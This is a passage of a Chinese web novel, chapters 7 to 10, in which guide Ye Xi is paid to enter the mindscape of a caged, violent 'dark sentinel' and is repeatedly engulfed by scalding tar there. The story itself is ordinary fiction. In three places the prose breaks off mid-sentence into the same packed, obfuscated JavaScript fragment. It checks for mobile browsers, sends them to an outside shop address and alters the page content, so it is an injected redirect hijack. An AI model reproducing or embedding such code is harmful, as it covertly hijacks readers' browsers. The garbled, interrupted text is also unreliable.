《掌控域》 7.第 7 章 季浔继续说:“……防卫部会有个对他的评估,如果他到时候还是有严重的攻击行为,不能通过评估,他们就打算走消除流程。” 叶汐提问:“什么消除流程?” 麦苏在季浔身后,手掌比成刀型,横在自己的脖子上,无声地抹了一下。 季浔:“联邦不会保留威胁力极大,但又已经失控的哨兵。” 叶汐偏偏脑袋,望着季浔,见他没有继续说的意思,举起手,拇指和中指捏着,虚虚地捻了两下。 季浔领悟得倒是不慢。 “报酬?按我们之前的约定,你这次涉嫌非法闯入微风堡盗窃财物,干扰基地监控系统的事,我不再追究……” 季浔瞥了一眼墙上空荡荡的画框轮廓,“至于那副画,你也可以留下。” 叶汐笑了:“我没有‘盗窃’谁的财物。那副画本来就是我们盖亚星的,它现在只是回到盖亚星人手里。你不能因为你们联邦不要脸,把我们的古画偷出来,光明正大地挂着,就真把它当成你们自己的东西了。” 被骂了,季浔倒是仍然没什么情绪反应。 他的语气平和:“画不是我偷的,也不是我买的,我一周前刚到微风堡。它早就挂在这间办公室里,据说已经挂了很多年了。” 麦苏突然插嘴八卦:“我听说,好像是前任执行官在卓艮家的博物馆里看见这幅画,很喜欢,卓艮他们就以官方捐赠的名义送到微风堡,要不是前任执行官忽然意外死了,我估计等他退休的时候,肯定要把画……” 季浔转头看了他一眼,麦苏马上闭嘴。 季浔继续:“只要能让这名哨兵状态稳定,顺利通过评估,除了画,我还可以额外再给你报酬。” 谈价钱这事叶汐熟。季执行官看着又是那么肥美的一只大肥羊,不宰一刀都对不起自己。 平时叶汐帮人稳定精神域,要价在五十到一百块联邦币之间不等,她这回打算狮子大开口。 她刚张了张她的狮子口,还没来得及出声,季浔就说:“十万联邦币,怎么样?” 狮子:嗯? 这只一丝不苟地穿着军装的羊比她想象中还要肥美。 不过既然他的措辞是“怎么样”,就代表还有讨价还价的余地。 叶汐马上漫天要价:“十万够干什么的?五十万起码。” 季浔并没有就地还钱:“没问题。” 叶汐:? 叶汐立刻说:“好。成交。不过要先付钱。” “不能先付全款,我怕你又跑了,我可以先付你五万定金。”季浔说,“我以执行官的名誉保证,一旦评估通过,就付你尾款。” 叶汐:“五万我怕你跑了,先付十万。” 季浔:“我往哪跑?” 不过他同意:“先付十万没问题。给我你的账号。” 他说转钱就转钱,几秒钟就转完了,给她看转账完成的界面。 季浔不动声色地关掉屏幕。 交易这么顺利,全在季浔的意料之中。 他知道她很需要钱。 公民档案里,从她的医疗记录能看出,她最近一段时间,好几次去专科诊所问诊,原因都是身体的不明原因疼痛。 专科医生也没有头绪,给她开了推荐信,建议她去第七星带最好的处理罕见病的私立医院就诊,不过看记录,她并没有去。 私立医院不便宜,K7星际港的普通人不会有钱买私人医疗保险,联邦公民的普通医保也并不报销这种治疗。 其实不用看医疗记录,看她本人的脸色,都知道她的身体一定出了大问题。 想来这就是她铤而走险,摸进微风堡偷画的原因。 其他人大概做梦都想不出摸进哨兵基地偷画这种馊主意,对叶汐却完全不同。 微风堡基地里,九成九都是哨兵。 麦苏的能力在哨兵里已经算是最顶尖的一批,基地最优秀的向导也对他竖立的精神屏障毫无办法,可是叶汐这个连向导证都没有的“准向导”,对付他,就像逗小猫小狗一样。 她甚至还出手奇袭了他的精神域,这是季浔生平第一次,有向导能在他的精神域里为所欲为。 季浔的思路短暂地偏了一下,不过马上被他重新校正回正轨。 战斗力爆表的哨兵们,在她眼中毫无威胁力,微风堡就是她主宰的游乐场。 今天只不过出了点意外,她唯一不能控制的基地管理系统给她找了点麻烦,不过最后,她还是顺利逃脱,画也被她偷到手了。 一幅古画在黑市变现,外加五十万报酬,凑起来应该足够她去治病了,这种谈判条件,她一定不会拒绝。 阿露弥也在叶汐耳边说:“转账收到喽。季执行官真是大方。” 叶汐随口问季浔:“到底是什么哨兵,值得你们出这种价钱?” 在联邦,每一条哨兵的命都是有价钱的,防卫部要培养一名哨兵,尤其是优秀的哨兵,一路各种训练下来,成本确实不低,可为了稳定一个哨兵的精神域,一出手就是五十万联邦币,也未免太过大方。 季浔没回答,只说:“你看看就知道了。” 他过去拉开执行官办公室的门。 三个人乘电梯下楼,又在基地里弯弯绕绕地走了半天,才来到一幢平趴的铁灰色建筑前。 这地方的位置有点熟。 叶汐按记忆里微风堡的地图推断,他们这是回到了中午她遇到季浔的地方。 不止遇到他,还干了点别的。 叶汐看向季浔,季浔却毫无反应。 他仿佛早就彻底忘了刚才在这里发生过的事,语调平静:“这是基地的隔离中心。” 门口的卫兵用虹膜刷开门,季浔和麦苏带着叶汐往里走,终于停在一扇标着“观察室”字样的门前。 门自动缓缓打开。 观察室里有好几名穿制服的医疗官,看见季浔他们进来了,一起站起来。 季浔问为首的医疗官:“朴医生,情况怎么样?” 朴医生大概三十出头的样子,眉心两道川字纹,一脸忧虑。 她回答:“麻醉剂的作用还在,他一直没有动过。” 观察室有一整面墙,看上去是全透明的玻璃,玻璃幕墙后面,才是间真正的隔离室。 里面灯光幽暗,能依稀看出,墙壁是金属质地,但是不平,就像被人用重物砸过一样,布满了一个又一个的凹坑。 里面没有任何家具,连条毯子都没有,光秃秃的灰色地面上,趴着一大团东西。 它黑乎乎的,分辨不出形状,如果真是个人的话,这人的个头倒是不小。 叶汐立刻在脑中对阿露弥说:“我看到他了。关在隔离室。” 阿露弥没有回答。 这里是微风堡的隔离中心,估计有特殊装置,叶汐脑内收发的信号被彻底屏蔽了。 费了那么大的劲,总算是到了这里。 叶汐探出精神触手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649161|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 触手无视玻璃幕墙,穿了过去,直奔趴在地上的那团黑色的人形。 与人影的距离却比叶汐在屏幕上看到的长,她的精神触手一路往前探。 仇恨。 愤怒。 越来越浓重的杀意。 精神触手足足延伸了四五米之后,才终于触到了目标。 叶汐小心翼翼地碰了碰。 那团东西却很敏锐,几乎瞬间就动了。 他猛地从地上弹起来,以极快的速度朝这边飞扑过来。 随着一声嘶哑的嘶吼,这一大团不知是黑布还是什么,呼地扑在玻璃上。 “哐——” 一声巨响。所有人吓得一起退后。 那团破布转眼又滑落下去,堆在玻璃幕墙前,重新变成了分辨不出的黑色的一堆。 “玻璃墙”闪烁了一下,瞬间熄灭了——这面“墙”只是一整面投影屏幕而已,那东西并不真的关在隔壁,而是在几米外坚固的隔离室里。 不过那一瞬间,叶汐已经看清了他的样子。 他身形相当高大,只是全身上下都被黑色的织物包裹着,织物闪烁着隐隐的金属光泽,上面乱糟糟地垂坠着布条一样的东西,应该是扯断的带子和锁扣。 还有不少带子没断,横七竖八,一道又一道紧紧地勒在身上,把人捆得像个木乃伊。 他的头同样裹得严严实实,戴着哨兵常用的半硬质黑色战术头套,像简易头盔似的,连一根头发丝都没露出来。 他的面部也同样遮挡着黑色面罩,布料稍薄一些,从鼻梁遮到脖子。 战术头套包裹到额头,那里与鼻梁之间本应该露出一双眼睛,可却横着一条护目带,几乎有手掌宽,通体漆黑。 最奇葩的是他的嘴巴。 面罩原本就遮住了嘴,现在又在外面额外地勒了一条不太宽的银色金属条,金属条横亘过下半张脸,深深地嵌进嘴裂里——看起来应该是止咬器。 怪不得刚刚只有一声不成人声的吼叫,他不止不能说话,连正常进食都不太可能。 估计是因为不控制住,会咬人。 这人全身上下都没个人样。看他这种暴力冲撞的力度,也不像个人,更像头野兽。 叶汐转头问季浔:“就是他?” “对。”季浔回答,“他穿的是特制的束缚衣,又被他撕开了。” 黑色的束缚衣不止一层,而是层层叠叠,看来他们每次给他穿束缚衣的时候,都没有剥掉原本身上被他撕开的衣服,只是简单地再套一层新的上去。 估计不是不想脱掉,而是不能。 一名医疗官走到旁边的控制面板前,点了几下,整面墙的大屏幕重新亮了起来。 那团乱糟糟的黑布倒是没有再动,安静地蛰伏在墙边。 叶汐评价:“我还从来没见过这样的哨兵,捆得跟麻花似的。他叫什么?” 季浔:“他没有名字。” 他偏头示意,医疗官点了下屏幕。 大屏幕一角,显示出几行字: 【哨兵编号:FDXFB6052936_5077】 【性别:男】 【出生日期:联邦历351年第134标准日】 【身高:1.93米】 …… 只有最基本的信息。 叶汐却知道,根据阿露弥拿到的消息,微风堡的隔离中心里关着的,应该是一名特殊的黑暗哨兵。 8.第 8 章 在联邦哨兵里,具有黑暗哨兵基因的,连万分之一都不到。 据说他们的能力十分恐怖,而且根本不需要向导做精神疏导。 可他们的精神域也容易出各种问题,比如失去理智,发个疯什么的,因为行为方式偏向暴力冒进,又经常去执行最危险的任务,通常都活不太长。 疯了的黑暗哨兵没用了,又杀伤力惊人,总这么关着也不是办法,防卫部不打算再留着他了。 这团黑布乱糟糟地堆在墙边。 叶汐心想,弃若敝履,大概就是这个样子吧。 她扫视屏幕上的简单信息。 “这些不够。我需要他的详细资料,越详细越好,他在哪出生,在哪长大,经历过什么人生大事,喜欢什么讨厌什么,有什么样的社会关系等等,我全都需要,这些都是精神域形成的基础,有这些信息,处理他的精神域问题才能事半功倍。” 季浔答:“不是我不想给你,是我也没有。他的档案不在微风堡,是联邦防卫部的机密资料,我也没有权限查阅。” 叶汐:“……” 来微风堡之前,阿露弥也没能找到这名黑暗哨兵的详细档案。 看来今天得开盲盒。 叶汐问:“他是什么时候开始变成这样的?” “大概是三周前,”朴医生代答,“开始的时候还能正常进食,做基本交流,就是这两天,情况突然恶化了。基地的向导一直想做远距离安抚,都没能成功,精神触手一靠近就被弹出来了,我们对他强制使用过向导信息素,也没什么安抚效果。” 她不说大家也知道,工业生产的标准向导信息素对哨兵的安抚效果有限,更何况要对付黑暗哨兵。 朴医生蹙着眉:“我们对他使用了专用麻醉剂,但是哨兵的五感非常敏锐,过量的药剂会对他的感知能力造成永久性的伤害,目前的用量已经接近临界点。” 季浔接口:“除非万不得已,不能再加量了。” 他看向叶汐:“所以你可以来试试么?” 叶汐:“你是出钱的老板,你说什么就是什么。” 她环顾周围,往桌子那边迈了一步。 季浔原本站在桌子旁,反应很快,立刻退后了一步。 叶汐:? 她又往前走了半步。 季浔马上又退了半步。 叶汐:?? 他坚持和她保持着两三步的距离,仿佛她周围罩着个会把人自动推远的透明结界似的。 她进一步,他就退一步,两个人像在隔空跳探戈。 拉近距离,或者身体接触,尤其是直接碰触额头,都会增加精神触手穿透屏障,侵入精神域的可能。 以她的能力和季浔的能力,能不能突破屏障的关键,可能就在这一步半步之间。 这大哥面无表情,可其实全身上下都写满了“警惕”两个字。 他这真就是一朝被她咬,十年怕井绳。 叶汐忍住笑,站住不动了,指了下季浔身旁的转椅,“椅子给我,我先进他的精神域,看看情况。” 麦苏今天也在她手上吃过一个大闷亏,却完全不像季浔那么防着她,人也很机灵,立刻把椅子推到叶汐身边。 甚至还体贴地问:“你还需要什么?” 叶汐想了想,“去帮我点杯柠檬水吧。” 麦苏:啊? 叶汐:“大半天都没喝水,太渴了。你们基地外面那家‘冰鲜矩阵’的柠檬水就很不错。加薄荷叶,半糖……”她想想又补充,“……去冰。” 叶汐在转椅上坐下,闭上眼睛。 向导的感官中,特殊的世界又出现了。 除了季浔和麦苏,现在前面四五米远的地方,多了种特殊的东西,是一大团浓黑色的雾气。 雾气氤氲,几乎看不清里面包裹着什么。 叶汐估量着距离,探出精神触手。 触手的尖端小心翼翼,一点点钻进那团黑雾里。 到处都是浓重的恨意、想把一切撕碎的愤怒,还有腾腾杀气。 可是在这些浓烈的情绪里,叶汐仔细体察,又分辨出了另一种隐藏着的更细微的情绪—— 绝望。 就像是有人拼命用手指抠住悬崖边的石头,在悬崖上吊了三天三夜,眼看就要撑不住掉下去了,无比绝望。 绝望,反而说明他在挣扎求生。 叶汐放缓了动作。 她的动作极其慢,极其轻,比一片飘落的绒呼呼的幼鸟羽毛还轻柔。 精神触手在黑雾中和缓地穿行,叶汐用心感受着黑雾中心包裹着的那个人的形状。 黑雾在触手周围萦绕,丝丝缕缕地纠缠着,触手渐渐浸透了黑雾的气息。 精神触手的顶端终于探索到了正确的位置,缓缓贴上黑暗哨兵的额头。 叶汐并没有被弹出来,稳定地进入了他的精神域。 眼前景物突变。 一间房间出现了。 正对着叶汐的是一扇窗,窗外,一轮尺寸稍小,暗橙红色的“太阳”悬在角度很低的空中,看上去像是颗红矮星,洒下红色的阳光,也把整个天空都染成了暗红色。 几根树枝横过窗前,枝头擎着一片片蒲扇般硕大的黑色叶片,叶片像是被红色的阳光烤焦了似的,边缘干枯卷曲。 房间里,窗前摆着张旧桌子,上面堆满杂物。 奇特的是,木头桌面上,深深浅浅的裂痕纵横交错,拼接成龟甲样的纹理,像干涸的河床。 桌前有把旧转椅,椅座上套着棕色的椅套,皮革的椅背和扶手上也布满了裂口,不少地方的皮面都剥落了,露出底布。 靠墙放着一张木头双人床,床头也裂得乱七八糟,没比桌面好到哪去,床旁边延伸出去,像是自己用板材搭出了大半人宽的一截。 这多搭出来的一截上,平平展展地铺着一块浅色的棉纱布小褥子和碎花小被子。 这套小小的寝具鲜亮干净,和老旧的房间格格不入,仿佛有个新鲜的小生命,宣布就此占领了这块地盘。 一个人坐在大床边,背对着叶汐。 是个女人。 她穿着件半旧起球的灰红色毛线衫,长发在脑后随便一挽,发尾干枯发黄,散乱地垂着。 她的臂弯正在有节奏地来回轻轻摇晃。 从叶汐这个角度,看不见她怀里抱着什么,想来应该是她的宝宝, 叶汐又仔细扫视了一遍周围。 床旁边的墙壁上,贴着张纸,上面印得一排排的,像是教小朋友识字用的挂图,可是仔细看,那些字却像扭曲的蝌蚪一样,奇形怪状,完全分辨不出到底写的是什么。 叶汐立刻警惕了。 她仔细研究过联邦各星带的各种文字形式,虽然不能都认识,但是至少分辨得出,眼前这些蝌蚪不属于任何种类的语言。 在精神域中,文字的变形和消失,看上去似乎只是一点微不足道的细枝末节,其实在有经验的向导眼中,是非常严重的信号。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654242|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就像在正常人的梦境里,梦中场景再狂乱,文字和数字也会保持它们正常的形态。 而精神域中的自由度比梦境还低。 文字的扭曲,意味着秩序的瓦解—— 精神域的主人正在逐步丧失作为人类的神智。 进入精神域后,最重要的,是找到哨兵的本体。和本体直接沟通,才更容易发现问题,解决问题,把精神域引导回正常的状态。 叶汐心想:这位编号F什么什么5077的哨兵,你在哪? 这里是5077的精神世界,到处全都是他的气息,没法靠感觉分辨出他的本体到底藏在哪里。 一阵幽微的哼唱声传来。 来自那个女人。 声音干哑,但是轻柔和缓,高高低低,转折顿挫,是哄睡婴儿的安眠曲,但仔细分辨,那些发音却完全没有任何意义。 这根本就不是人类的语言。 叶汐:挺好。你家的歌词也不说人话,和墙上歪七拐八的蝌蚪文相得益彰。 得尽快找到哨兵5077的本体。 叶汐试探着,往那个背对着她的女人的方向迈了一步。 一股强烈的拉扯感突然袭来。 就像铁屑遇到了巨型磁铁,叶汐受到一股强大力量的牵引,飞快地向床边的女人飞了过去。 天旋地转,然后猛地落到了实处。 她被一个怀抱结结实实地抱住了。 两只手臂托着她,包裹着她,正在来回轻轻地摇晃—— ——她变成了女人怀里的婴儿。 她的视角向上,视野被这个怀抱的主人占据着,这人的一缕长长的发丝垂落,落在叶汐的脸颊上,发尾轻柔地挨挨擦擦。 发丝尽头,是女人的脸。 那张脸上长满了深深浅浅的灰色格子,完全没有五官,天然就长成了一片马赛克。 叶汐在这种惊吓中猛地一挣,可是婴儿的身体却完全不听她使唤,一动不动,那两条胳膊也抱得更紧了。 马赛克脸女人上方,天花板上轰隆一声巨响。 天花板像受热融化的蜡似的,妖异地扭曲变形,表面的一层白色消失了,大坨黑而粘稠的液体滴滴答答地往下落,好像融化的沥青。 情况不太妙。 叶汐奋力挣扎,可就像被鬼压床了一样,无论如何都动不了。 天花板上黑色的范围飞速扩大,能感觉到,一股热浪从上方汹涌而下,温度高到吓人,烫得人脸疼,粘稠的“沥青”如同一坨坨融化的黑色奶酪,拉着长丝,一大股一大股地往下砸落。 马赛克脸女人却像是全无察觉,喉咙深处还低低地哼着她不说人话的催眠曲,坐在那里,一动不动。 转瞬间,屋顶就融出了一个大洞。 “沥青”瀑布般倾泻而下,淹没了地面,没过床腿,飞快地一路向上,淹过了马赛克脸女人的下半身,涨到了叶汐的高度。 这沥青比烧开的火锅还烫,涮一涮就要熟了。 才刚进来,还什么都没弄清楚,就不能再留了,叶汐火速从精神域中往外撤。 她起心动念,人却没有动。 马赛克脸女人的胳膊牢牢地束缚着她,死不撒手,和滚烫浓黑的“沥青”一起,粘稠地包裹着,纠缠着,把叶汐牢牢地吸附在其中。 叶汐奋力挣扎。 可是大股滚烫的沥青还是淹没了她的鼻子,顺着鼻子灌进她的嘴巴,转眼就把她彻底淹没了。 眼前黑了。 9.第 9 章 “沥青”里白光炽盛。 叶汐早就调动全部精神力,尽可能地护住自己。 用精神力可以保护身体这件事,是格兰亚博士的《精神权柄》里写过的。 出版版本的后半部分,莫名奇妙地提了一句,说是用精神力保护自己,可以避免现实中的伤害。 这句话大家都看不懂。 精神域中的伤害,本来就不会被带到现实世界,为什么要说这么一句? 可是叶汐懂。 她前段时间精神力突飞猛进,忽然就发现,莫名奇妙的,离开精神域后,受到的那些伤害竟然还在。 如果毫不松懈地用精神力护住自己,离开精神域后,问题就不大。 关键就是,要注意力集中,丝毫不能懈怠,稍一松懈,就会像上次感染病毒一样,惹上大麻烦。 叶汐泡在滚烫浓稠的沥青里,屏住呼吸,紧紧抿住嘴巴,胸口憋闷得像要爆炸。 一切都是假的。 叶汐坚定信念,不断地修正自己的念头。 没有窒息,没有婴儿,在这样的一个世界里,她不真的是个婴儿,也并不真的需要呼吸,她现在只需要脱离。 一切都是假的。 假的。 假的。 脱离。 可想法是一回事,感受却是另一回事,窒息感千真万确,意识正在变得模糊。 脑中的信念与极其真实的濒死感扭搅在一起,两股力量在灵魂深处搏斗。 信念终于赢了,叶汐猛地挣脱。 就像从噩梦中醒来,她呼地坐了起来。 这里是观察室,前面的大屏幕还亮着,转椅早就滑到了旁边,不知什么时候,她掉到了观察室的地板上。 眼前围着好几个人,其中两条套着黑色高筒军靴的长腿,是麦苏的。 麦苏俯着身,双手撑在膝盖上,盯着她瞧,忧心忡忡:“你没事吧?你刚才使劲挣扎,从椅子上掉下去了,我想扶你起来,季执行官不让我碰你,说这种时候贸然干扰你,可能会影响你在精神域里的状态。” 他说得没错。 叶汐没有站起来,先深深吸了一大口空气。 窒息感消退了,全身皮肤烧得生疼的感觉还残留着,眼球像真的被滚烫的黏液刺激过似的,疼得睁不开,眼泪稀里哗啦地往下流。 看见叶汐成功地进入了5077的精神域,竟然没被弹出来,现在出来了,又奇怪地一把鼻涕一把泪,朴医生和其他几个医疗官浑身上下都缭绕着讶异的情绪。 朴医生赶紧过去拿了盒纸巾,递给叶汐。 叶汐擦了擦眼泪,一股犟劲上来了,站了起来。 “这边离得太远了,带我去隔离室。” 季浔没动,也没说话。 朴医生皱起眉,直言不讳:“你是打算做近距离安抚?我的建议是,不要。他这两天的状况很不稳定,攻击性极强,特制的强效麻醉剂也不能有效控制住他,现在进入隔离室非常危险。” 季浔同意:“安全起见,我也建议你只做远距离安抚。” 叶汐直视着他的眼睛,语气坚定:“带我去隔离室。” 反正大不了就是一死而已。早死几天还是晚死几天,死在这里还是死在那里,区别不大。 被黑暗哨兵弄死,说不定比起被病毒折磨到器官一点点衰竭,死得还更痛快一点。 季浔不动:“我听说,他以前有一次执行任务的时候,精神受到刺激,进入不稳定状态,当场把十几个毒贩都撕成了一块一块的,现场到处都是器官,血淹到顺着房门流出来,比屠宰场还惨烈。” 叶汐并不理会:“你懂还是我懂?带路。” 麦苏看看这个,又看看那个。 季浔脸上映着大屏幕的光,只顿了一瞬,就说:“麦苏,你留在这边。我和她一起去隔离室。” 麦苏张开嘴巴“啊”了一声,把后半句“真的要吗”,硬生生地吞了回去。 朴医生虽然也是满脸的不赞同,不过还是过去打开门,带着季浔和叶汐穿过走廊。 走廊宽敞,空无一人。 朴医生走在前面,季浔落在最后,仍然严格地和叶汐保持着两三步远的距离。 他们来到一扇门前。 门上嵌着“隔离室”的金属牌,门旁墙上,扫描虹膜的显示屏亮着,朴医生扫了一下,门打开了。 里面,就是叶汐刚刚在大屏幕上见过的房间。 灯光昏暗,那一大团黑色的破布仍然堆在墙边。 叶汐没有进去,压低声音:“他能看得见吗?听得见吗?” 她出声了,地上的人仍然一动不动。 “能看见也能听见,”季浔也低声回答,“听说他的五感在训练中出过问题,视力和听力受不了刺激,所以习惯一直戴着装备不摘。不过并不影响他的视力和听觉,你要非常小心。” 叶汐点了下头:“还记得你刚刚对麦苏说过的话么?” 季浔:“不要碰你,贸然干扰你可能会影响你在精神域里的状态?” “答对了。”叶汐表扬他,“你们就站在这儿别动。” 她一个人继续往房间里走。 她的脚步很轻,轻得像只接近猎物的猫科动物,脚爪的肉垫柔软地踏在地面上,又抬起来,悄无声息。 即使这么轻,对听力超常的哨兵而言,仍旧是声如擂鼓。 不过轻手轻脚,尽量不发出噪音,疯了的哨兵从感受上确实会更舒服一点。 季浔默不作声地看着她。 5077的状况目前非常危险,今天中午就又出过事。 负责看管的哨兵们进入隔离室,想给他穿上新的束缚衣,操作流程完全合规,先对5077使用了专用麻醉剂。 可就算在这种情况下,5077还是在过程中暴起了,差点就徒手扯掉一名哨兵的头颅。 季浔亲自进入隔离室,才把人活着救出来了。 不过哨兵还是受了重伤,隔离室地面上,到现在都还汪着大片血迹,没人敢进去打扫。 而叶汐,正在妄想近距离接触这名失控的黑暗哨兵。 叶汐一点一点地靠近墙角的那堆黑布。 她终于走到他面前,干脆蹲了下来。 离得近,能看清掩盖在乱糟糟的布料下的这个人了。 他像又失去了意识,一动不动地躺在墙壁与地板之间的夹角里,五官被面罩遮住了,又有护目镜遮挡,叶汐只能看出鼻梁的形状。 这人个子很大,要是真的站起来,只怕不会比季浔矮。 一层层的束缚衣被他撕得乱糟糟的,却还是有不少部分紧紧勒在他身上。 肩膀以下,上臂的位置,就死死地勒着两条粗大的束缚带,横亘过胸,被扯到崩断前的极限,留下深深的凹痕,肌肉在一道道束缚下鼓胀着,随着呼吸一起一伏。 再往下,好几条本该固定住衣袖的束缚带却被暴力扯开了,腿上的也断了,七零八落的,胳膊和两条腿都重获了自由。 他就像一只被反复捆缚,又反复挣脱的野兽,周身都包裹着浓重的恨意。 叶汐伸出手。 距离很重要。 对付这种强大的哨兵,近距离的肢体接触,对哨兵的控制力会比只用精神触手强得多。 叶汐的手指探向他的眉心。 就在距离哨兵的额头只有寸许的时候,那团黑布猛地动了。他呼地一下,翻身而起。 像沉睡中的动物在梦中察觉到危险,一只手从黑布里钻出来,一把抓住了叶汐的手臂。 力道大得像是要把她的胳膊从肩膀上硬生生卸下来。 可在那一瞬间,叶汐的脑子并不在要被他撕开这件事上。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657273|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上戴着哨兵常用的黑色半指作战手套。 全身都被严实地包覆着,只有这几根手指露出一点真实的皮肤。 正是这一点点裸露的肌肤,才让叶汐真切地感觉到,包裹在黑布和各种束缚下的,其实是个活生生的人。 与此同时,门口的季浔几乎瞬间就动了。 不过他又顿住了,因为事情并没有向他料想的方向发展。 哨兵突袭的动作完全在叶汐的意料之中,她没有反抗,任凭他钳制住她,也根本没理会他差点撕了她这件事,却借着这短短的一瞬,用精神触手按上哨兵的眉心。 哨兵的动作一滞,趁着这空档,叶汐的另一只手也按上去了。 眉心被罩住的刹那,刚刚还像发疯的野兽一样的哨兵,凝固不动了。 叶汐又一次侵入了他的精神域。 眼前还是那间婴儿房。 场景像刷新过似的,那些黑色的“沥青”消失得无影无踪,一切恢复了正常。 窗外,暗橙红色的恒星挂在天上,洒落满地红色阳光,黑色的树叶叶缘焦枯,微微晃动。 房间里桌子表面龟裂,旧转椅皮革崩脱,还是那张双人床,床边坐着的女人,背对着叶汐,轻轻摇晃着她弯起来的手肘。 叶汐这次没有往前走,留在原地。 叶汐出声: “哨兵5077。” “我知道你听得见,回答我。” 声音带着特殊的金属尾音,在房间中一阵阵回荡。 周围没有任何响应。 马赛克脸女人像听不见似的,没有回头,只有那种不说人话的低声吟唱还在继续,咿咿呀呀的。 没有任何档案资料可以参考,只能靠蒙。 叶汐打算先从房间里唯一的两个人——那对母子身上下手。 精神域中的人就像NPC一样,当然不是真的人,也不一定就是哨兵的本体,但是通常都是在哨兵的潜意识里非常重要的精神意象。 叶汐先挑可能性最大的提问:“5077,这是你妈妈吗?她怀里抱着的是你吗?” 没有人回答。 她的声音灌注了精神力,不应该没有任何反应。 他们给他用过强效麻醉剂,这会加重精神域中本体的昏沉迷乱,不是好事。 叶汐再加码:“5077?!” 吟唱声终于停了。 叶汐:好像有戏。 如果这个倒霉的黑暗哨兵童年时母爱缺失,他确实有可能在精神域里,留下小小的婴儿态的自己被妈妈抱在怀里哄睡的场景。 这场景温馨,美好,可惜很快就被从天而降的黑乎乎的东西毁掉了。 叶汐瞎猜:也许是出过什么事,他妈妈没能活下来,他自己倒是幸存下来了。 这说不定是个突破口。 叶汐揣测着继续:“你妈妈没有五官,是因为你无论如何,都想不起来她的样子了吗?” 没有反应。 叶汐凝神加灌精神力,提高声音:“你不记得妈妈的脸了!对吗?!” 这真是受不了,有那个破麻醉剂,得扯着脖子喊。 床边坐着的女人,摇晃的手肘终于停住了。 她缓缓转过头。 脸上仍然是一大片深深浅浅的灰色马赛克。 叶汐继续引导:“按你的样子估计,你妈妈应该长得很漂亮,眼睛很亮,鼻梁也像你一样,高高的。” 没反应。 叶汐声嘶力竭: “你妈妈!” “很漂亮!!” “长得像你!!!” “鼻梁!!高高的!!!!” 叶汐当然没见过5077长什么样,纯属胡说八道,脑子里冒出哨兵那张被面罩裹着,勒着止咬带的脸。 在木乃伊届,他大概能算得上是个顶流帅哥。 10.第 10 章 不过实话实说,即使有薄布面罩遮挡,也能看得出来,5077的鼻梁确实挺高,下颌的线条也利落干净,她也不算是完全瞎掰。 叶汐继续嘶吼: “5077!!” “你仔细!想想!妈妈的样子!!” “按你自己的模样想!!” “说不定!就能!想起来了!!” 这声音足足地灌注了精神力,绝对能穿透一切,在房间里回荡。 女人的脸终于开始发生变化。 灰色的马赛克格子扭曲,光影变幻,翻腾个不停,凸起和凹陷轮番出现又消失,扭搅在一起,来回反复折腾。 折腾了半天,连个像样的鼻子都没能折腾出来。 叶汐:“……” 不说人话,不写人字,连人脸该长什么样都忘了。 叶汐:哥们你是真的疯得不轻。 那边的脸稳定不下来,还在像揉橡皮泥一样乱捏着,叶汐头顶上忽然轰隆一声响。 大事不妙。 叶汐立刻集中精神,准备脱离精神域。 可是这回“沥青”很不讲武德,屋顶崩塌的速度比上回快得太多了,露出来的大洞又刚好在叶汐头顶上,像有人拿了大桶兜底一倒,哗啦啦一下,滚烫的黏液兜头浇在叶汐身上。 黏黏糊糊的,又把叶汐从头到脚裹住了。 第二次下火锅,叶汐已然涮出了经验。 捏住鼻子,抿紧嘴巴,闭上眼睛,堵牢耳朵,她调动精神力,护住自己,全力脱离。 可惜人只有两只手,却有一个鼻子两个耳朵眼,“沥青”有生命似的,使劲地往她没堵住的那个耳朵里面钻,即使调用了精神力保护,鼓膜还是隆隆作响。 这里是假的,一切都是假的,在这个虚假的世界,要是能再多长出一只手就好了,叶汐心想。 然而并没有新的手长出来。 要是没有鼓膜就好了。 可惜鼓膜还在,耳朵又吵又疼。 她可以在生死关头,凭借强烈的求生意志,把自己从摔扁了的肉片变回人身,却无论如何都没办法在精神域里随心所欲改变自己的形态,比如多长出一只手。 叶汐有点泄气,心知肚明,自己只摸到了一点重构者的边儿,仍然不能算是一个真正的重构者。 格兰亚博士在笔记里说过,向导分为四个层级—— 感知者、引导者、重构者,和掌控者。 “感知者”可以感知周围哨兵的状态,感受到其他向导精神触手的动作,体察到其他人的情绪,一般来说,只要有向导基因,不少人甚至不需要特别的训练,就能做得到。 叶汐和很多向导一样,从宝宝时期起就自然而然地会这个。 如果经过反复的练习,继续提升精神力,就会成为“引导者”。 “引导者”可以进行精神域中的清洁和安抚工作,帮助哨兵消除受到的精神污染,引导哨兵稳定精神域,让精神域保持良好健康的状态,这也是大多数向导都在做的事情。 